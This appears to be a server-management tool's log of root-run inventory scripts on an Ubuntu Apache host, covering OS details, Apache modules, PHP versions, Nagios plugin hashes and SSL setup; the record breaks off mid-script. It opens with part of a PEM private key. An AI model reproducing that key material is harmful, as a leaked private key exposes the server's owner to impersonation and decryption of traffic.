+WHnlx+rDW6Lo4HEBNqzovLvzd+d1S8I+xWagHokl+IA8DCUWnbGheFqkOIVx+RZ
kkUeZLnKR5+/kfLAU0AXlGD3cwavJ1xkOq8Jbuh/R/G5ljP05dGnD6ahAoGAUXpG
l692GHgHh2pl6EpSB16R9AuA3ezXgydUzrvxdE3vabsOisL37hBXNq7nSUrh/9XG
2m4ixwXoB+R5NSB69Gi8jvQghbIAObmuphc2ETD+jSbXOawX4Zr6k2FDHY6u6+lh
sJ4kKTYOOlinjHIoqCBPyZB+1i8kqaq5L/ybSLcCgYABk161F8X4VPnbEUSl6hPR
ScY1EpTHWuvK6XbeDaLBWqsvsrhurPuiOtU8HYEuk/D3djERU5w1L8OiGJ7vMMbZ
08hUBbnA9F/oqqnqOAqv6DpDmJzNdwynyqg0ezIv5hYD7q036HsXEYpKW3eZy8tp
ShluxwQvS8fdPzQfH2mrBg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-03-06 13:55:40: Establishing a connection
2026-03-06 13:55:50: Establishing a connection
2026-03-06 13:55:50: Performing Server Status
2026-03-06 13:55:50: 

PUT: /tmp/pkp796059

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-03-06 13:55:50: 

chmod 755 /tmp/pkp796059; /tmp/pkp796059; rm /tmp/pkp796059

2026-03-06 13:55:50: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
condor

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-101-generic



2026-03-06 13:55:50: 

PUT: /tmp/pkp461733

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-03-06 13:55:51: 

chmod 755 /tmp/pkp461733; /tmp/pkp461733; rm /tmp/pkp461733

2026-03-06 13:55:51: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2025-12-09T15:50:28
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 23141
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root       23141  0.0  1.0 261188 42952 ?        Ss   Feb26   0:56 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-03-06 13:55:51: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'condor',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'headers_module',
      22 => 'mime_module',
      23 => 'mpm_prefork_module',
      24 => 'negotiation_module',
      25 => 'php_module',
      26 => 'reqtimeout_module',
      27 => 'rewrite_module',
      28 => 'setenvif_module',
      29 => 'socache_shmcb_module',
      30 => 'ssl_module',
      31 => 'status_module',
    ),
  ),
)


2026-03-06 13:55:51: 

PUT: /tmp/pkp605160

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-03-06 13:55:51: 

chmod 755 /tmp/pkp605160; /tmp/pkp605160; rm /tmp/pkp605160

2026-03-06 13:55:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-03-06 13:55:51: 

PUT: /tmp/pkp171032

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-03-06 13:55:51: 

chmod 755 /tmp/pkp171032; /tmp/pkp171032; rm /tmp/pkp171032

2026-03-06 13:55:52: 


[php8.2]
php=/usr/bin/php8.2
fpm=
version=8.2.30
[php8.2]
php=/usr/bin/php8.2
fpm=
version=8.2.30


2026-03-06 13:55:52: 

PUT: /tmp/pkp480812

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-03-06 13:55:52: 

chmod 755 /tmp/pkp480812; /tmp/pkp480812; rm /tmp/pkp480812

2026-03-06 13:55:52: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_real)= dd4b06ffdde547e7ae66453ed8af464f
bin(/usr/local/nagios/libexec/check_ssh)= 4998ed8f57fbf48bb709a91b5f67fa88
bin(/usr/local/nagios/libexec/check_ntp_time)= cdcc9ae74ad304a1103f3b26aa2a4302
bin(/usr/local/nagios/libexec/check_dummy)= 593927625b5adf7f6cc5626cf271b00c
bin(/usr/local/nagios/libexec/check_ssmtp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_pop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_imap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_wave)= 43070cb5a8919450dc9dddfaad1372c5
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4561ff3ea28b2be1d51e660db0061ecb
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 2d1588877bbecf63a32b8450a9392703
bin(/usr/local/nagios/libexec/check_rpc)= d950b01072804e29ac7f5f081aa982db
bin(/usr/local/nagios/libexec/check_simap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ide_smart)= 70e1d5360c280f5a78a7eaf30fee6e43
bin(/usr/local/nagios/libexec/check_breeze)= 36e02260e64fa5199510d9dc5842d980
bin(/usr/local/nagios/libexec/check_dns)= ab42e148c68a92c9dda556789494efb6
bin(/usr/local/nagios/libexec/check_php.php)= e6599d9e81018dcef125f7d7e05beaf9
bin(/usr/local/nagios/libexec/check_ntp)= 9e7ffbfb53e8cb4f0ac3f693770675ba
bin(/usr/local/nagios/libexec/check_nagios)= 80e3c448e3c432a57b36339e22b18215
bin(/usr/local/nagios/libexec/check_overcr)= 7b207d58bc55979ba935ef83cc192e11
bin(/usr/local/nagios/libexec/check_nntp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_spop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ftp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_oracle)= 16b08209814208bb2b7c0f352e0219c8
bin(/usr/local/nagios/libexec/check_swap)= 21ddd46a28196d76075b7c635555a6cd
bin(/usr/local/nagios/libexec/check_sensors)= 7c1111569b1fbbb87ed8eb57f57c09d0
bin(/usr/local/nagios/libexec/check_jabber)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_by_ssh)= b1aa934f5258b2f1708c76a1a6e96a0b
bin(/usr/local/nagios/libexec/check_udp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_dig)= 7b01b47a8c952d611baec6a7004cc24c
bin(/usr/local/nagios/libexec/check_http)= 053039e43a1e34634f3516be01892a42
bin(/usr/local/nagios/libexec/check_nt)= 00a2c24b1de53f52b058cc6ebf430806
bin(/usr/local/nagios/libexec/check_disk_smb)= 5261d05672787c38c34ca67a0b83edf8
bin(/usr/local/nagios/libexec/check_mrtg)= 6f4cf4f1b0f8e29f0e465fbb2506e237
bin(/usr/local/nagios/libexec/check_clamd)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_users)= b55c15f4e1aeb36f902037bfd078d1c9
bin(/usr/local/nagios/libexec/check_ircd)= 022af53fbdb44f8b8b75f2713e8aa35b
bin(/usr/local/nagios/libexec/check_procs)= a4157b7321a21494e347131fe3e78e47
bin(/usr/local/nagios/libexec/check_log)= 7a0c4828d6f7ea76d98a51def16460ee
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_mailq)= 078442ad36849198a80b539a65e57dc3
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= 6c20e762c6d4ce49fc31b3c0ac28be9e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 64d5374a8c511c9d2a2d199960c2c6f9
bin(/usr/local/nagios/libexec/check_tcp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= cdf54f5ea361ff54adaa5a325bd5e583
bin(/usr/local/nagios/libexec/check_time)= 94da3767ba0be89cb015f6771899764d
bin(/usr/local/nagios/libexec/check_smtp)= d7f2d41ab34b841616e67779411cd4cd
bin(/usr/local/nagios/libexec/check_ping)= bf10c48f916f5eed0d29af7d0e9fd678
bin(/usr/local/nagios/libexec/check_flexlm)= 4e3c614a3494e4e601b0624b4bc8e462
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= 5eb520cefdc87566ccfc5497bb5fc45c
bin(/usr/local/nagios/libexec/check_disk)= 81a61cb2c2922be54adf5b4b15f5ab3c
bin(/usr/local/nagios/libexec/check_uptime)= affa1adb0f2b5b9c950b8582576c3da2
bin(/usr/local/nagios/libexec/check_icmp)= eb69d9de7971a87698948950a5fd8756
bin(/usr/local/nagios/libexec/check_nntps)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_load)= e9e4c57cca90e17e4aa1721c7e8e8c85
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 38508203585e8cbbda9f3031a1940596
bin(/usr/local/nagios/libexec/check_ups)= 65eafce8676b5c74a336c60873a3eef3
bin(/usr/local/nagios/libexec/check_file_age)= 2e331a3782daf78c7b45d7003b6be288
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 1b5efef036053881690728bdee7c1116


2026-03-06 13:55:52: 

PUT: /tmp/pkp824053

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-03-06 13:55:52: 

chmod 755 /tmp/pkp824053; /tmp/pkp824053; rm /tmp/pkp824053

2026-03-06 13:55:52: 


status=ok


2026-03-06 13:55:52: 

PUT: /tmp/pkp227022

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
